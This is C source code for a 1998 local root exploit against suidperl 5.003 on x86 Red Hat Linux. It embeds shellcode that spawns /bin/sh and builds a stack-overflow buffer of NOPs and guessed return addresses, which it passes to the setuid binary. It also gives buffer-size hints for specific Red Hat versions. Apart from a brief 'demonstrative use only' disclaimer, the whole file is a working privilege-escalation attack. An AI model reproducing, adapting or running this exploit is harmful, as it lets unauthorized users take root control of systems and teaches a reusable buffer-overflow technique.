/*

	suidperl 5.003 exploit code for x86 linux

	Local user can gain root access.
	Tested redhat linux : 3.0 , 4.0 , 4.1 , 4.2

	This program is only for demonstrative use only.
	USE IT AT YOUR OWN RISK!

	Programmed by Taeho Oh 1998/08/13

Taeho Oh ( ohhara@postech.ac.kr )                http://ohhara.postech.ac.kr

*/	

#include<stdio.h>
#include<stdlib.h>

#define DEFAULT_OFFSET                    0
#define NOP                            0x90

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
	__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
	char *buff,*ptr;
	long *addr_ptr,addr;
	int offset=DEFAULT_OFFSET,bsize;
	int i;

	if(argc==1)
	{
		printf("Try %s 1240 (Redhat 3.0 , 4.0 , 4.1)\n",argv[0]);
		printf("Try %s 3092 (Redhat 4.2)\n",argv[0]);
		exit(0);
	}
	if(argc>1)
		bsize=atoi(argv[1]);
	if(argc>2)
		offset=atoi(argv[2]);

	buff=malloc(bsize);

	addr=get_sp()-offset;

	ptr=buff;
	addr_ptr=(long *)ptr;
	for(i=0;i<bsize;i+=4)
		*(addr_ptr++)=addr;

	for(i=0;i<bsize-80-strlen(shellcode);i++)
		buff[i]=NOP;

	ptr=buff+bsize-80-strlen(shellcode);
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	execl("/usr/bin/suidperl","suidperl",buff);
}
